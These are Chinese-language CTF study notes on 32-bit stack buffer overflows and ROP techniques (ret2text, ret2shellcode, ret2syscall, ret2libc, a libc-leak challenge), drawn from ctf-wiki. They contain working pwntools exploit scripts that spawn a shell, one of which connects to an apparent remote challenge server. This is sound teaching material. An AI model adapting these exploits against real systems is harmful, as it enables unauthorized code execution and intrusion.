栈的主要寄存器
主要有三个ebp,eip,esp,eip存放下一步要运行的指令的地址,ebp为帧基指针,可以理解为指向栈里面最高的地址,esp则可以理解为指向站里面最低的地址。
栈的分布
存放
注意:上方是高地址,下方是低地址。
存入栈的顺序
栈由高位置生长向低位置,所以由图就可以看到
实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N
对于平时做题就可以有一个简化版的图
此图中输入字符串距离ebp为14个字节,下方为低地址,上方为高地址。
经常被攻击的函数
常见攻击方法rop
ret2text
此题见于ctf-wiki,总结一下关键点,构造payload ret2‘system(bin/sh)’,关键是算偏移量,此处算相对ebp的偏移量利用的是相对esp的偏移量。
从这两个图可以看出,s的相对于esp的位置为80h-64h=1c,然后通过gdb算esp与ebp的相对偏移,就可以计算出s相对于ebp的偏移位置了。
用gdb将断点下在call gets
就算出esp相对于ebp的偏移为88h,所以s相对于ebp的位置就为88h-1c=6c,再加上为32位的文件,payload就构造出来了,最终脚本
ret2shellcode
从主函数可以看到gets之后又复制了一次到bss段,程序中也没有system和bin/sh,就要自己构造一个shellcode放入bss段中然后通过执行Bss段来执行。
偏移算法参照上题,为112,找到bss段地址,用pwntools构造shellcode,代码如下。
ret2syscall
此题没有system调用,只有binsh的字符串,然后思路就是利用系统调用来调用system,需要eax=0xb,ebx=address(bin/sh),ecx=0,edx=0,最后进行Int0x80,就可以调用了,由于gets有栈溢出,只需要一直return每一个pop,exx,然后输入对应的值,最后返回int0x80即可。
找这些pop就需要用到ROPgadget工具了,命令行如下
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'int'
最后的exp放一下
from pwn import *
sh = process('./rop')
pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
binsh=0x080BE408
int80=0x08049421
payload = flat(['a'*112,p32(pop_eax),0xb,p32(pop_edx_ecx_ebx),0,0,binsh,int80])
sh.sendline(payload)
sh.interactive()
ret2libc1
此题可以查到system和binsh都有,查到地址后,直接栈溢出返回调用,代码如下
from pwn import *
sh = process('./ret2libc1')
system=0x08048460
binsh=0x08048720
payload = flat(['a'*112,p32(system),'aaaa',p32(binsh)])
sh.sendline(payload)
sh.interactive()
level3
此题既无system也无/bin/sh,所以就需要自己利用动态链接库计算真实地址。
此处存在一个栈溢出,偏移量为88h+4,此处选择泄露write_got(由于在read执行前,就执行了write了,就保存了write_got了),然后算出system和/bin/sh的地址即可,代码如下。
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',55393)
elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
vulnerable_add=0x0804844b
payload=flat(['a'*140,p32(write_plt),p32(vulnerable_add),p32(1),p32(write_got),p32(4)])
p.recv()
p.sendline(payload)
write_add=u32(p.recv(4))
libc=LibcSearcher('write',write_add)
libcbase=write_add-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload1=flat(['a'*140,p32(system),p32(0xdeadbeef),p32(bin_sh)])
p.sendline(payload1)
p.interactive()
64位
寄存器
%rax 作为函数返回值使用。
%rsp 栈指针寄存器,指向栈顶,最低位置
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。
%rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则,简单说就是随便用,
调用子函数之前要备份它,以防他被修改
%r10,%r11 用作数据存储,遵循调用者使用规则,简单说就是使用之前要先保存原值
PS:参考了ctf-wiki的内容。ctf-wiki